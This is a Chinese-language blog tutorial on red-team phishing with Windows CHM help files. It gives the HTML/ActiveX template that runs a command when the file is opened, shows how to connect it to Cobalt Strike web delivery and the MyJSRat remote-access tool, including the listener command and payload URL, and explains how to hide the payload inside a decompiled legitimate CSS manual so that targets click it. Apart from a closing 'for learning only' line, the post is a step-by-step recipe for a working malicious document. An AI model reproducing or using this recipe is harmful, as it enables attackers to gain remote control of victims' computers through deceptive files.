制作chm 手册_红队攻防之CHM文档钓鱼

本文详细介绍了如何制作CHM钓鱼文件,包括准备工具、制作过程、利用Cobalt Strike和MyJSRat进行上线,以及内容伪装的步骤,强调了CHM在红队攻防中的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x00 CHM简单介绍

CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。因为使用方容便,形式多样也常被采用作为电子书的格式。而该类型的文件是可以用Windows自带的hh.exe文件来进行打开。

0x01 准备工具及流程

准备工具:EasyCHM、Cobalt Strike、MyJSRat 钓鱼流程:制作html -> 制作chm文件 -> 伪装 -> 打开chm上线

0x02 CHM钓鱼文件制作过程

  1. 创建个空文件夹
此处叫test 67c8739eb3f058042eef579fc41cbbef.png
  1. 创建html
html源码:
<html><head><title>Mousejack replaytitle>head><body>command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Bitmap::shortcut"><PARAM name="Item1" value=',payload'><PARAM name="Item2" value="273,1,1">OBJECT><SCRIPT>x.Click();SCRIPT>body>html>
注意:",payload" 此处前面需要加个英文版的逗号,否则在打开chm文档时会出错。 d5fa516b9b574f1fb499b446955b058a.png 此处打开文档执行的calc,也就是我们的计算器
  1. Easy CHM制作CHM文档
3.1 新建工程 9707c7c94e03d2009e39a1844a4a7373.png 选择我们创建的那个test文件夹 e7de6ef9204f9b0c08a42280bbfe5dc6.png 4043c4198ca6f4632927d7694b8a6106.png 3.2 点击编译 -> 生成CHM dc46d0463a36f4b6a3aaf140d231f41c.png 3414bf97de60809f3674d748a5e18c9f.png
  1. 制作完成
55942b06863e44466757dc3cbf2c5adc.png 双击打开看看效果 f1134b43e50f1ebda4b8ba0a1bab6457.png 打开弹出计算机

0x03 Cobalt Strike制作木马+chm上线

启动Cobalt Strike,点击attacks——>web Drive by——>scripted web Delivery bba8607cb2f4037a60256d617ff71828.png 设置好监听选择Launch 27974d593d39ead542b121ec44daf65e.png 全部复制下来,替换payload 0f9a40ecc67bbc85e4108a211ce10313.png 注意:exe后面要再加一个英文版逗号否则无法执行exe,再是注意生成出来的payload字符串的双引号跟单引号的冲突。 再重新生成,再打开 看看上线结果 ddb79d5f74aaeb1ea40c87faeea48e98.png

0x04 MyJSRat配合chm进行上线

MyJSRat下载地址:https://github.com/Ridter/MyJSRat 先克隆下来 00100266f9fa7569fd26336899f413ab.png Python2 运行 下面那条命令 523b80833e9eaa3028a3b9478e8257f0.png
python2 MyJSRat.py -i 192.168.50.165 -p 8080
e9af2fa540890e6f3012db221b5a44f5.png 注:用kali linux环境运行。 然后访问下 url  http://192.168.50.165:8080/wtf 938f322926c5230b5e2584dfb8a2bd3d.png 复制下来这一串,替换payload 1445fa990c8b48cb3c571b79ffcb7d2f.png 记得加上逗号, 接下来老规矩,制作chm。 双击上线,执行个whoami命令 81980d0c5db16a46bfd143782cd1144a.png

0x05 CHM内容伪装

  1. 先拿一个正常chm文档内容,转成html
e3f70e8e9b0cd4067cdc35a26c107935.png
  1. 通过hh命令转成html
hh -decompile .\\html CSS2.0中文手册.chm
7c7c3cd3686d8021ef7841bb4cb2849b.png 就会出来一个html文件夹,内容存放在css2中 64dcccf266e3973af6885be69ad53c74.png
  1. 钓鱼html payload复制修改,嵌入到css2 c_color.html文件中
62ae6cce49520c0bc4f17bb04253350c.png
  1. 制作chm钓鱼文档
工程目录选择css2 84cbbd1f762bc3f0957bacaf0790cc49.png 6545d2cf61e87c4c0eb64f6149d08a2d.png 编译即可 187741f34e48ded4bc560c01350833d5.png 设置好监听,双击运行 注意:此处一定要用户点击到c_color.html这个模块才行,所以内容得吸引人(此处自由发挥想象) e1682cb7648413f7767e49719bae54c0.png 上线结果 86d271186fb02545c3c6d3026c3ea2f8.png

0x06 总结

注意:此处没做免杀,后期更新免杀内容。 缺点:打开时会出现一闪而过弹黑框以及卡顿,容易被察觉(看防范意识)。此处工具以及文档公众号 回复0001进行下载。

53e7359d94eb31f7c47502244f0b1daf.png

a94a56e860318702da47e2c44090776d.png

内容仅供学习和 参考
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值